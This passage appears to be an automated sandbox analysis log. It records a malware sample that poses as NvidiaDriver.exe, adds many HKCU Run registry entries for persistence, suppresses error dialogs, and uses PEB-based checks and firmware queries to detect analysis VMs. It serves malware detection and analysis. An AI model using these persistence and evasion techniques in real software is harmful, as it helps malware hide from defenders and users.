Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9e33ce0e554b44ea9bcca3bea135d0c9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9e33ce0e554b44ea9bcca3bea135d0c9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_199e6de3cc44472a85f055bce5f42086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_199e6de3cc44472a85f055bce5f42086	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_98c017189ac44e4caa3f411a0cc7df75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_98c017189ac44e4caa3f411a0cc7df75	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_857dfbcf71e84a5ba3b172f733901942	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_857dfbcf71e84a5ba3b172f733901942	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_7d53de950f514e7fb1dc1bf9aa9d9a23	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_7d53de950f514e7fb1dc1bf9aa9d9a23	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_48773bbf9bc44914991bdff0f06d6074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_48773bbf9bc44914991bdff0f06d6074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5fb642a978ef46ad8babc9faf499af6c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5fb642a978ef46ad8babc9faf499af6c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_a55229b8a2774bf08fa8699a442ee253	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_a55229b8a2774bf08fa8699a442ee253	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_c85face801814dfcbf9f40ddf33828ea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_c85face801814dfcbf9f40ddf33828ea	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_aeaa297d9f6e41859577216271c48f3d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_aeaa297d9f6e41859577216271c48f3d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_fea82d6593394f6f8b93c4ec7bd2f15e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_fea82d6593394f6f8b93c4ec7bd2f15e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_087ea3eefa284f9190e36501b7153e61	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_087ea3eefa284f9190e36501b7153e61	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_dcc27a0fe2814cfdb3b842eaa11bb6b9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_dcc27a0fe2814cfdb3b842eaa11bb6b9	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8630aa22d8f8447f80b461615583d4f2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8630aa22d8f8447f80b461615583d4f2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_af5be24324564f8598b7623cec319969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_af5be24324564f8598b7623cec319969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ca448a9bcb184f7387acce04e7da97c2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_ca448a9bcb184f7387acce04e7da97c2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_bec0a0ec3f194774a3f57ddb54802f67	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_bec0a0ec3f194774a3f57ddb54802f67	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_d98eb4fbef8244ecb9602668b4296585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_d98eb4fbef8244ecb9602668b4296585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5d927519720546599f9ee15ceecbdc9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5d927519720546599f9ee15ceecbdc9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_41c478a1bd2342b88270b91a0df5f087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_41c478a1bd2342b88270b91a0df5f087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_01f5a14ab3654771aa2b02ec3ef86ec7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_01f5a14ab3654771aa2b02ec3ef86ec7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9886616d44f44e36ac8eb72511e99fd5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_9886616d44f44e36ac8eb72511e99fd5	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_0765bda3d5fe4b4c9f38906a3576db2f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_0765bda3d5fe4b4c9f38906a3576db2f	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-38098
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-12157
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9682

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe

